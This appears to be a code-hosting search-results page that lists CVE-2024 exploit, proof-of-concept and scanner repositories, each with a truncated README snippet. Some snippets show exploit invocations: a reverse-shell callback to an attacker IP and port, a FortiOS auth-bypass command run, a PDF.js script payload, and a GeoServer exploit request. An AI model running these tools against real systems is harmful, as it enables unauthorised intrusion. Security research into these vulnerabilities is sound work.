160209 matches found
CVE-2024-38819-POC
CVE-2024-38819: Proof of Concept PoC This is a proof of concept for the CVE-2024-38819 vulnerability, which I reported, demonstrating a path traversal exploit. Execution Steps 1. Build the Docker image Spring Boot 3.3.4, based on Spring Framework 6.1.13 cd vuln docker build -t cve-2024-38819-poc...
PHP-CGI-RCE-Scanner
PHP CGI RCE CVE-2024-4577 Scanner Just a tool for educational purposes. No legal responsibility. Scanning CVE-2024-4577 vulnerability with a url list. Not only sending exploit, but also checking PHP version and whether php-cgi exists. Make it more informative to know why or why not exploit succes...
CVE-2024-46987
CVE-2024-46987 — Camaleon CMS Arbitrary Path Traversal For authorised security assessments, penetration testing engagements, and educational research only. Overview Field| Detail ---|--- CVE| CVE-2024-46987 Product| Camaleon CMS Versions| = 2.8.0, 2.8.2 also confirmed on 2.9.0 Type| Path Traversa...
webpack-cve-2024-43788
This repository does not have a README...
jenkins_scan
jenkinsscan Find Jenkins environment and check for CVE-2024-23897 How it works Jenkins Detection Tests the paths: /, /login, /oops, /api/json, /cli, /jenkins/, /jenkins/api/json Identifies via: 1. Header X-Jenkins — most reliable, also returns the version 2. Header X-Hudson — older instances 3...
CVE-2024-4367-POC
CVE-2024-4367 POC Usage python poc.py malicious.pdf "alert'S4vvy'" References CVE-2024-4367: Arbitrary JS Execution in PDF.js PDF.js...
Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE
Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE Alternative Approach: Reverse Shell & Callback Test Overview This repository contains alternative payload approaches for the InvokeAI RCE vulnerability CVE-2024-12029 when SSH key injection fails. The payloads are designed to test if...
fortios-auth-bypass-poc-CVE-2024-55591
CVE-2024-55591 A Fortinet FortiOS Authentication Bypass Proof of Concept See our blog post for technical details Detection in Action python CVE-2024-55591-PoC.py --host 192.168.1.5 --port 443 --command "get system status" --user watchTowr --ssl / | | |\ \ \ / / \ \ / | | \| | / \ / / \ \ \ /...
CVE-2024-45590-PoC
CVE-2024-45590 - WordPress Plugin RCE PoC Vulnerability Details - CVE: CVE-2024-45590 - CVSS: 9.8 Critical - Type: Unauthenticated RCE via Arbitrary File Upload - Affected: WordPress Plugin Proof of Concept Demonstrates safe RCE exploitation with two commands: 1. id - Command execution proof 2...
sudowp-dropzone-elementor
SudoWP DropZone for Elementor Contributors: SudoWP, WP Republic Original Authors: WEB-SHOP-HOSTING Tags: elementor, dropzone, upload, security-patch, fork, cve-2024-5153, honeypot Requires at least: 5.6 Tested up to: 6.7 Stable tag: 1.7.17 License: GPLv2 or later Security Notice This is a...
CVE-2024-23897
CVE-2024-23897 - Jenkins Arbitrary File Read Exploit Tool Installation CVE-2024-23897 requires go 1.21 to complete installation. Execute the following command: go install github.com/wjlin0/CVE-2024-23897/cmd/CVE-2024-23897@latest Or download the pre-built binary from release macOS-arm64 macOS-amd...
CVE-2024-21762
Usages: python3 exploit.py --target 192.168.1.1:443 --callback-ip YOURIP --callback-port 8080...
geoserver-
GeoServer CVE-2024-36401 Exploitation Tool GeoServer CVE-2024-36401 Environment: JDK8 Disclaimer: For authorized testing only. The author bears no responsibility for any consequences caused by user misuse. Please comply with laws and regulations! 1. Default payload: POST /geoserver/wfs HTTP/1.1...
Kaspersky_CVE-2024-3094
Security Review: CVE-2024-3094 XZ Utils Backdoor Author: Sushin Ivan Date: March 2026 1. Project Description This repository contains the results of a full security review of the vulnerability CVE-2024-3094 Supply Chain Attack in the XZ Utils library. Objective: Conduct threat analysis Threat...
sec_review_cve-2024-3094
A full security review of the open-source vulnerability CVE-2024-3094 was conducted. Based on the obtained data, the following were prepared: 1. Report «ThreatModel + SecurityReview» – detailed description of threats, exploitation paths, risk assessment, and recommendations for reducing the attac...
cve-2024-42327
cve-2024-42327 usage: cve-2024-42327.py -h -u URL -n USERNAME -p PASSWORD --example cve-2024-42327.py: error: the following arguments are required: -u/--url, -n/--username, -p/--password...
CVE-2024-26229-BOF
CVE-2024-26229 Beacon Object Files Beacon Object File BOF implementations from NVISO of CVE-2024-26229 for Cobalt Strike and BruteRatel. Compile with: gcc -c CVE-2024-26229-bof.c -o CVE-2024-26229-bof.o This vulnerability was patched on April 9th, 2024. See...
nmap-scan-results
Nmap Scan: 200+ Vulnerabilities Found Critical: CVE-2023-38408 9.8, CVE-2024-38476 9.8, Slowloris DoS Full Report...
hfs2
Introduction You can use HFS HTTP File Server to send and receive files. It's different from classic file sharing because it uses web technology. It also differs from classic web servers because it's very easy to use and runs "right out-of-the box". The virtual file system will allow you to easil...